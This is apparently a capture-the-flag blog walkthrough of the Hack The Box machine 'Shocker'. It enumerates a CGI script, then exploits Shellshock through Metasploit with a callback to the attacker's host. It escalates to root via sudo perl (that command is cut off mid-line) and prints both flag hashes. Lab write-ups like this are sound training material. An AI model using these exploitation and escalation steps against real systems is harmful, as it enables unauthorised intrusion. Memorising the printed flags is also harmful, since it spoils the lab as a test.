top of page
Search

Shocker

  • Admin
  • Jan 6, 2022
  • 1 min read

Updated: Jul 10, 2023


As usual let's start with nmap:

nmap -sV -sC -p- 10.10.10.56
ree

Port 80 is open so let's check the website:

ree





Let's do a gobuster to check if we have any hidden directories:

gobuster dir - u http://10.10.10.56 -w /opy/useful/SecLists/Discovery/Web-Content/common.txt
ree

We found a directory called /cgi-bin so let's do more gobuster on this directory:

gobuster dir -u 10.10.10.56/cgi-bin -w /opt/useful/SecLists/Discovery/Web-Content/big.txt -x php,html,txt,zip,cgi,sh,pl,py
ree

We found 10.10.10.56/cgi-bin/user.sh

Let's check it out:

ree

Let's save this file and check it out:

ree

The name of the machine is Shocker, this reminds us of the Apache Shellshock.

Let's check if there is an exploit in Metasploit:

msfconsole
search shellshock
ree

Let's try exploit/multi/http/apache_mod_cgi_bash_env_exec

use exploit/multi/http/apache_mod_cgi_bash_env_exec
ree

show options
ree

set RHOSTS 10.10.10.56
ree

set LHOST 10.10.14.3
ree

set TARGETURI /cgi-bin/user.sh
ree

exploit
ree

Great! It worked!

getuid
ree

sysinfo
ree

shell
ree

python3 -c 'import pty;pty.spawn("/bin/bash")'
ree

cd ..
cd ..
cd ..
ls
ree

cd home
ls
cd shelly
ls
ree

cat user.txt
ree

2ec24e11320026d1e70ff3e16695b233

Congratulations! You got the user flag!



Privilege Escalation


Let's try the usual command for privilege escalation:

sudo -l
ree

User shelly may run the following commands on Shocker:

/usr/bin/perl


Let's try to execute this command then:

sudo /usr/bin/perl -e 'exec "/bin/s
ree

We get a shell!

whoami
ree

Nice! We have successfully escalated our privileges to root!


Let's now upgrade our shell using:

python3 -c 'import pty;pty.spawn("/bin/bash")'
ree

cd ..
cd ..
ls
ree

cd root
ls
cat root.txt
ree

52c2715605d70c7619030560dc1ca467


Congratulations! You got the root flag!


 
 
 

Recent Posts

See All

Comments

Rated 0 out of 5 stars.
No ratings yet

Add a rating

©2025 by My Tech On IT

bottom of page